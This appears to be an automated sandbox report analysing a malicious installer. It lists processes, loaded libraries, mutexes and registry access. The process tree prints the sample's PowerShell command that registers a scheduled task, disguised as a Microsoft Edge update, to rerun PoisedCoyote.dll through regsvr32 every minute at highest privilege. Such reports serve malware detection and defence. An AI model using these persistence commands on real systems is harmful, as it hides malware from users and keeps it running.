Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB2AE2E0	16_2_00007FFDFB2AE2E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB204760	16_2_00007FFDFB204760
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB2A4B80	16_2_00007FFDFB2A4B80
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB301A60	16_2_00007FFDFB301A60
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB2369D0	16_2_00007FFDFB2369D0
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB2049D4	16_2_00007FFDFB2049D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB2049BA	16_2_00007FFDFB2049BA
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB201A43	16_2_00007FFDFB201A43
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB27BA30	16_2_00007FFDFB27BA30
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB2A7A30	16_2_00007FFDFB2A7A30
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB206890	16_2_00007FFDFB206890
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB275950	16_2_00007FFDFB275950
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB2E0010	16_2_00007FFDFB2E0010
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB20FE90	16_2_00007FFDFB20FE90
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB22A040	16_2_00007FFDFB22A040
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB20FE90	16_2_00007FFDFB20FE90
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB229E80	16_2_00007FFDFB229E80
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB2ABE80	16_2_00007FFDFB2ABE80
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB208EC0	16_2_00007FFDFB208EC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB21BEA0	16_2_00007FFDFB21BEA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB219F00	16_2_00007FFDFB219F00
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB21ADA0	16_2_00007FFDFB21ADA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB2B4DE0	16_2_00007FFDFB2B4DE0
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB224C90	16_2_00007FFDFB224C90
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB2DDC60	16_2_00007FFDFB2DDC60
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB22B3E0	16_2_00007FFDFB22B3E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB285450	16_2_00007FFDFB285450
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB301420	16_2_00007FFDFB301420
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB28F2D0	16_2_00007FFDFB28F2D0
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB22A320	16_2_00007FFDFB22A320
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB22A1C0	16_2_00007FFDFB22A1C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB2F31C0	16_2_00007FFDFB2F31C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB2750C0	16_2_00007FFDFB2750C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB2060E0	16_2_00007FFDFB2060E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB22D150	16_2_00007FFDFB22D150
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB2177B0	16_2_00007FFDFB2177B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB25B670	16_2_00007FFDFB25B670
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB21A660	16_2_00007FFDFB21A660
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB2E86C0	16_2_00007FFDFB2E86C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB225740	16_2_00007FFDFB225740
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB21B610	16_2_00007FFDFB21B610
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB2B8610	16_2_00007FFDFB2B8610
Source: C:\Windows\System32\regsvr32.exe	Code function: 16_2_00007FFDFB25B470	16_2_00007FFDFB25B470

Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 00007FFDFB2EBA00 appears 51 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 00007FFDFB2EB770 appears 48 times

Source: file.exe	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: file.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: file.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: file.tmp.5.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: file.tmp.5.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-DOVSB.tmp.6.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-DOVSB.tmp.6.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Source: is-D8FFC.tmp.6.dr

Static PE information: Number of sections : 11 > 10

Source: file.exe, 00000000.00000003.1748200530.00000000025E2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs file.exe
Source: file.exe, 00000000.00000003.1748510327.000000007FE3E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal80.evad.winEXE@26/24@1/2

Source: C:\Windows\System32\regsvr32.exe

Code function: 16_2_00007FFDFB211C60 GetDiskFreeSpaceExW,

16_2_00007FFDFB211C60

Source: C:\Windows\System32\regsvr32.exe

Code function: 16_2_00007FFDFB214380 CoCreateInstance,

16_2_00007FFDFB214380

Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp

File created: C:\Users\user\AppData\Local\unins000.dat

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7744:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8108:120:WilError_03
Source: C:\Windows\System32\regsvr32.exe	Mutant created: \Sessions\1\BaseNamedObjects\MUTEX
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7536:120:WilError_03
Source: C:\Windows\System32\regsvr32.exe	Mutant created: \Sessions\1\BaseNamedObjects\JL55FnNsh@T5

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\is-B2398.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp "C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp" /SL5="$10478,1389145,140800,C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C timeout /T 3 & "C:\Users\user\Desktop\file.exe" /VERYSILENT /SUPPRESSMSGBOXES
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /T 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe" /VERYSILENT /SUPPRESSMSGBOXES
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp "C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp" /SL5="$700F8,1389145,140800,C:\Users\user\Desktop\file.exe" /VERYSILENT /SUPPRESSMSGBOXES
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Process created: C:\Windows\SysWOW64\regsvr32.exe "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll"
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{D7C2DB06-FCF6-4992-AF37-53F140CD5A88}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.EXE /S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp "C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp" /SL5="$10478,1389145,140800,C:\Users\user\Desktop\file.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C timeout /T 3 & "C:\Users\user\Desktop\file.exe" /VERYSILENT /SUPPRESSMSGBOXES	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /T 3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe" /VERYSILENT /SUPPRESSMSGBOXES	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp "C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp" /SL5="$700F8,1389145,140800,C:\Users\user\Desktop\file.exe" /VERYSILENT /SUPPRESSMSGBOXES	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Process created: C:\Windows\SysWOW64\regsvr32.exe "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll"	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{D7C2DB06-FCF6-4992-AF37-53F140CD5A88}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: perfos.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
